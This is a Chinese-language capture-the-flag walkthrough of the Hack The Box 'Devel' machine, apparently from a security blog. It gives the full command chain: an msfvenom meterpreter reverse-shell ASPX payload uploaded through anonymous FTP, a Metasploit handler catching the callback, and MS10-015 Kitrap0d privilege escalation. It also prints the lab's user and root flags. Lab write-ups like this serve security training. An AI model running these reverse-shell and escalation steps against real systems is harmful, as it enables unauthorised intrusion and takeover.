[Meachines] [Easy] Devel FTP匿名访问文件上传+MS10-015权限提升

2024-09-04 117 0

信息收集

IP Address Opening Ports
10.10.10.5 TCP:21,80

$ nmap -p- 10.10.10.5 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

FTP & HTTP

通过ftp将aspx上传至网站

[Meachines] [Easy] Devel FTP匿名访问文件上传+MS10-015权限提升插图

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10032 -f aspx > shell.aspx

$ ftp 10.10.10.5

username:anonymous password:anonymous

ftp> put shell.aspx

[Meachines] [Easy] Devel FTP匿名访问文件上传+MS10-015权限提升插图1

$ msfconsole

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 10.10.16.24

msf6 exploit(multi/handler) > set LPORT 10032

msf6 exploit(multi/handler) > run

$ curl http://10.10.10.5/shell.aspx

[Meachines] [Easy] Devel FTP匿名访问文件上传+MS10-015权限提升插图2

权限提升 & MS10-015

> systeminfo

[Meachines] [Easy] Devel FTP匿名访问文件上传+MS10-015权限提升插图3

枚举潜在的权限提升漏洞

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester

[Meachines] [Easy] Devel FTP匿名访问文件上传+MS10-015权限提升插图4

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_015_kitrap0d

msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 1

msf6 exploit(windows/local/ms10_015_kitrap0d) > set lhost 10.10.16.24

[Meachines] [Easy] Devel FTP匿名访问文件上传+MS10-015权限提升插图5

MS10-015,也被称为 Kitrap0d,是一个Windows内核漏洞,它的编号是 CVE-2010-0232。这个漏洞是由于Windows操作系统中的一个特权提升漏洞引发的。具体来说,漏洞出现在Windows内核中的一个不正确的特权检查机制,使得攻击者能够通过特殊的代码在内核模式下执行任意代码,从而提升权限。

漏洞形成原因:
不正确的特权检查:
Windows操作系统中的CSRSS(Client/Server Runtime Subsystem)进程具有较高的权限。该漏洞存在于Windows内核处理特定系统调用时的方式中。当用户模式下的进程请求特权操作时,内核没有正确地验证调用的上下文(例如,某些调用是否来自具有足够权限的进程)。

系统调用的操作权限被绕过:
漏洞利用了系统调用(syscall)过程中错误的权限检查机制。攻击者可以通过创建一个特制的请求,使得系统误认为低权限的进程拥有高权限,并允许该进程执行通常只有系统级别权限才能执行的操作。

特权提升:
由于上述原因,攻击者可以从用户模式提升到内核模式,并执行任意代码。这意味着攻击者可以从标准用户帐户获得系统权限,进而完全控制受影响的系统。

User.txt

a6a2e101fcf3865491bd4521eb1f84fc

Root.txt

626f13a715fb1239018637d32592db59


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论